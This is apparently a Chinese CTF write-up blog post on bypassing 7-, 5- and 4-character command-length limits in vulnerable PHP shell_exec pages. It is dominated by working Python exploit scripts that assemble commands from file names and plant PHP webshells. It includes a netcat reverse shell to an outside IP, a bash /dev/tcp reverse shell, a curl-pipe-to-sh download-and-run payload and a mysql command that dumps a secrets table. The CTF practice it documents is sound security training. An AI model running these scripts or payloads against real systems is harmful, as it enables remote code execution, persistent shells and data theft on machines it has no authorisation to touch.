加载中...
不同长度字符的命令执行
发表于:2022-05-16 | 分类: web
字数统计: 2.7k | 阅读时长: 13分钟 | 阅读量:

不同长度字符的命令执行

考虑7字符、5字符、4字符长度限制如何实现命令执行,环境基于linux alpine。

ls-t突破7字符限制(web目录可写)

漏洞代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
if(strlen($cmd) <= 7){
    shell_exec($cmd);
}
7字符getshell脚本
需要写入的语句:<?php eval($_GET[1]);
编码后的语句:PD9waHAgZXZhbCgkX0dFVFsxXSk7
需要执行的语句:echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
import requests
import time

url = "http://ed9441a5-6e27-43b0-8538-bdd2f5a5b4d2.challenge.ctf.show/"

payload=[
">hp",
">1.p\\",
">d\\>\\",
">\\ -\\",
">e64\\",
">bas\\",
">7\\|\\",
">XSk\\",
">Fsx\\",
">dFV\\",
">kX0\\",
">bCg\\",
">XZh\\",
">AgZ\\",
">waH\\",
">PD9\\",
">o\\ \\",
">ech\\",
"ls -t>0",
". 0"
]

def writeFile(payload):
	data={
	"cmd":payload
	}
	requests.post(url,data=data)

def run():
	for p in payload:
		writeFile(p.strip())
		print("[*] create "+p.strip())
		time.sleep(1)

def check():
	response = requests.get(url+"1.php")
	if response.status_code == requests.codes.ok:
		print("[*] Attack success!!!Webshell is "+url+"1.php")

def main():
	run()
	check()

	


if __name__ == '__main__':
	main()

web目录不可写的情况

漏洞代码同上,是一样的,就是现在的web目录下没有写文件的权限了。

利用方式:直接强制上传反弹shell文件到临时目录,然后直接七字符执行!,原理如图:

强制上传getshell脚本

重点是里面的:. /t*/*,这里七字符直接执行了/tmp目录下的所有文件!

import requests
import time

url = "http://f1f8f51f-8da6-43cc-ab09-d5456cc2bcb7.challenge.ctf.show/"


def getShell(payload):
	data={
	"cmd":payload
	}
	file = {
	"file":b"#!/bin/sh\nnc 43.154.107.226 3389 -e /bin/sh"
	}
	requests.post(url,data=data,files=file)
    print("[*] Attack success!!!")

def run():
	getShell(". /t*/*")

def main():
	run()
	
if __name__ == '__main__':
	main()

getshell之后有个重要的点就是flag是在数据库里面的,然而反弹shell之后呢,使用交互式mysql经常会断开连接。。。所以只能使用非交互式的mysql进行语句的查询,如下:

mysql -uroot -proot -e"use ctfshow;select * from ctfshow_secret;"

dir突破5字符长度的命令执行

漏洞代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
if(strlen($cmd) <= 5){
    shell_exec($cmd);
}
?>
条件是只有五字符命令可以执行,当前web目录可写

方法思路:

1、将index.php变成.php(挺复杂的。就是关于dir命令的妙用,dir命令和ls命令主要的区别就是dir写到文件时不会换行,但是ls 命令写到文件时会换行!这里的目的应该主要是防止妨碍后面的临时文件打包到当前目录把

2、将临时文件打包到当前目录,* /t*,这是五字符写入方式!(需要先在/tmp目录下写一个一句话 ,应该是强制上传吧,<?php file_put_contents("1.php","<?php eval($_POST[1]);?>");?>,这是文件的内容

3、使用php执行tar压缩包 ,虽然打包的文件可能有很多其他的字符,但是php相关的内容还是在里面没有变动,因此可以直接执行php代码,例如直接php z,这是五个字符,会将上述写入一句话的代码执行。

执行脚本
import requests
import time

url = "http://00d5415e-1e8d-42f6-9fe0-81052fa99f6a.challenge.ctf.show/"
url_2 = url + ".php"
delay = 1

chagneFile_payload = [
    '>cp',
    '>k',
    '*',
    'rm cp',
    '>pc',
    '>dir',
    '*>v',
    '>rev',
    '*v>z',
    'sh z',
    'rm v',
    'rm k',
    'rm z',
    'rm pc',
    'rm *v',
    '>php.',
    '>j\\#',
    '>vm',
    '*>v',
    '>rev',
    '*v>z',
    'sh z'
]

clearFile_payload = [
    'rm d*',
    'rm j*',
    'rm p*',
    'rm r*',
    'rm v*',
    'rm z'
]

shell_payload = [
    '>tar',
    '>vcf',
    '>z'
]

file = {
    'file': b'<?php file_put_contents("1.php","<?php eval(\\$_POST[1]);?>");?>'
}


def changeFile():
    for p in chagneFile_payload:
        sendPayload(url, p)
        print("[*] create " + p.strip())
        time.sleep(delay)


def clearFile():
    for p in clearFile_payload:
        sendPayload(url_2, p)
        print("[*] create " + p.strip())
        time.sleep(delay)


def getshell():
    for p in shell_payload:
        sendPayload(url_2, p)
        print("[*] create " + p.strip())
        time.sleep(delay)
    data = {
        "cmd": "* /t*"
    }
    requests.post(url_2, data=data, files=file)
    data = {
        "cmd": "php z"
    }
    requests.post(url_2, data=data)


def checkShell():
    response = requests.get(url + "1.php")
    if response.status_code == requests.codes.ok:
        print("[*] Attack success!!!Webshell is " + url + "1.php")


def sendPayload(url, payload):
    data = {
        "cmd": payload
    }
    requests.post(url, data=data)


def run():
    changeFile()
    clearFile()
    getshell()
    checkShell()


def main():
    run()


if __name__ == '__main__':
    main()

grep突破dir被限制的5字符命令执行

漏洞代码和上面的一样,不过这一次加了dir不可执行的限制!

主要的思路就是使用grep h index.php,将shell_exec拷贝出来,然后在复制回index.php中,就可以绕过5个字符的限制了!

脚本利用
import requests
import time

url = "http://0da3e190-b112-4e8f-84ac-4191ce1cad6d.challenge.ctf.show/"

payload = [
    ">grep",
    ">h",
    "*>j",
    "rm g*",
    "rm h*",
    ">cat",
    "*>>i",
    "rm c*",
    "rm j",
    ">cp",
    "*"
]


def writeFile(payload):
    data = {
        "cmd": payload
    }
    requests.post(url, data=data)


def run():
    for p in payload:
        writeFile(p.strip())
        print("[*] create " + p.strip())
        time.sleep(0.3)
    print("[*] Attack success!!!Webshell is " + url)


def main():
    run()


if __name__ == '__main__':
    main()

虽然执行后index.php给改了,但是命令执行后没回显,不知道是哪里的问题。。

web目录可写且有dir的4字符的命令执行

漏洞代码
<?php
error_reporting(0);
highlight_file(__FILE__);

$cmd = $_POST['cmd'];
if(strlen($cmd) <= 4){
    shell_exec($cmd);
}
?>

与网上的题目所不同,网上的题目都是新建了一个sandbox目录,里面是啥都没有的,但是我们这里有一个index.php,所以得另想办法。

dirls是有所不同的,dir的输出重定向到文件时是不会换行的,但是ls会,所以使用dir时不用考虑在后面加一个\,只需要考虑顺序,但是ls需要考虑换行。

主要就是需要构造出一个ls -t

可用脚本
import requests
import time

url = "http://0523928c-154c-4591-b17d-e2d71e82afc9.challenge.ctf.show/"

payload = [
    '>sl',
    '>kt-',
    '>j\\>',
    '>j\\#',
    '>dir',
    '*>v',
    '>rev',
    '*v>x',
    '>php',
    '>a.\\',
    '>\\>\\',
    '>-d\\',
    '>\\ \\',
    '>64\\',
    '>se\\',
    '>ba\\',
    '>\\|\\',
    '>4=\\',
    '>Pz\\',
    '>k7\\',
    '>XS\\',
    '>sx\\',
    '>VF\\',
    '>dF\\',
    '>X0\\',
    '>gk\\',
    '>bC\\',
    '>Zh\\',
    '>ZX\\',
    '>Ag\\',
    '>aH\\',
    '>9w\\',
    '>PD\\',
    '>S}\\',
    '>IF\\',
    '>{\\',
    '>\\$\\',
    '>ho\\',
    '>ec\\',
    'sh x',
    'sh j'
]


def writeFile(payload):
    data = {
        "cmd": payload
    }
    requests.post(url, data=data)


def run():
    for p in payload:
        writeFile(p.strip())
        print("[*] create " + p.strip())
        time.sleep(1)


def check():
    response = requests.get(url + "a.php")
    if response.status_code == requests.codes.ok:
        print("[*] Attack success!!!Webshell is " + url + "a.php")


def main():
    run()
    check()


if __name__ == '__main__':
    main()

没有dir但可出网的四字符命令执行

漏洞代码同上,只不过不可以执行dir命令了。

这里由于目录下面可写,所以群主用了一种直接写的方法,我先是尝试了在自己的vps写下这一句话bash -i >& /dev/tcp/175.178.47.228/8888 0>&1,然后跑脚本,发现好像没什么用,应该是环境可能没有bash吧。

然后尝试群主的写入一个一句话木马文件:echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php

注意:忘记了一个重要事情,不要把点号.写在前面,这样ls不出来。

通用脚本(好像只能curl纯数字网址,不知道为啥
import requests
import time

url = "http://133b9eb2-eae5-41d8-81ab-2068c492aca6.challenge.ctf.show/"

payload = [
    '>\\ \\',
    '>-t\\',
    '>\\>a',
    '>ls\\',
    'ls>v',
    '>mv',
    '>vt',
    '*v*',
    '>ls',
    'l*>t',
    '>cat',
    '*t>z',

    # curl 2030350346|sh
    # curl 175.178.47.228|sh
    # curl 2947690468|sh
    '>sh',
    '>\\|\\',
    '>68\\',
    '>04\\',
    '>69\\',
    '>47\\',
    '>29\\',
    '>\\ \\',
    '>rl\\',
    '>cu\\',

    'sh z',
    'sh a',
]


def writeFile(payload):
    data = {
        "cmd": payload
    }
    requests.post(url, data=data)


def run():
    for p in payload:
        writeFile(p.strip())
        print("[*] create " + p.strip())
        time.sleep(1)


def check():
    response = requests.get(url + "1.php")
    if response.status_code == requests.codes.ok:
        print("[*] Attack success!!!Webshell is " + url + "1.php")


def main():
    run()
    check()


if __name__ == '__main__':
    main()

不出网的4字符getshell

漏洞代码同上,这一次不可以出网了,因此curl、wget什么的都没用了,这里直接放脚本吧!

(感觉是通杀脚本
import requests
import time

url = "http://ab1290cc-c3f0-4ff2-b864-a4388d4331a6.challenge.ctf.show/"

payload = [
    '>\\ \\',
    '>-t\\',
    '>\\>a',
    '>ls\\',
    'ls>v',
    '>mv',
    '>vt',
    '*v*',
    '>ls',
    'l*>t',
    '>cat',
    '*t>z',

    '>php',
    '>a.\\',
    '>\\>\\',
    '>-d\\',
    '>\\ \\',
    '>64\\',
    '>se\\',
    '>ba\\',
    '>\\|\\',
    '>4=\\',
    '>Pz\\',
    '>k7\\',
    '>XS\\',
    '>sx\\',
    '>VF\\',
    '>dF\\',
    '>X0\\',
    '>gk\\',
    '>bC\\',
    '>Zh\\',
    '>ZX\\',
    '>Ag\\',
    '>aH\\',
    '>9w\\',
    '>PD\\',
    '>S}\\',
    '>IF\\',
    '>{\\',
    '>\\$\\',
    '>ho\\',
    '>ec\\',

    'sh z',
    'sh a'
]


def writeFile(payload):
    data = {
        "cmd": payload
    }
    requests.post(url, data=data)


def run():
    for p in payload:
        writeFile(p.strip())
        print("[*] create " + p.strip())
        time.sleep(1)


def check():
    response = requests.get(url + "a.php")
    if response.status_code == requests.codes.ok:
        print("[*] Attack success!!!Webshell is " + url + "a.php")


def main():
    run()
    check()


if __name__ == '__main__':
    main()

总结

1、最少可以在4字符的无dir的环境下拼接ls -t

2、当空格不够用的时候,可以使用特殊字符${IFS}代替,但是需要注意命令部分不能有重复的字符组合。

3、需要根据环境选择getshell的方法,有curlwget、强制上传、不出网等等,不要拘泥于各种姿势。

上一篇:
写于八九之交的大三上开学
下一篇:
CVE-2021-29447
本文目录
本文目录